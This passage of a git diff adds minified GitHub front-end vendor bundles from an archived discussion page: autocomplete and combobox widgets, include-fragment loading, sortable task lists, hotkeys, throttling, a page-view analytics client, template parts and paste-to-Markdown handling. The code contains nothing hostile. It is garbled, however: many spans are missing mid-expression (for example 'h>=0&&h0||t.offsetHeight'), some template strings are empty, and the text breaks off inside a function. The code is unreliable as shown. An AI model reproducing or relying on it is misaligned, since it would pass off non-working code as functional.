if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js new file mode 100644 index 0000000..4e18cc6 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function 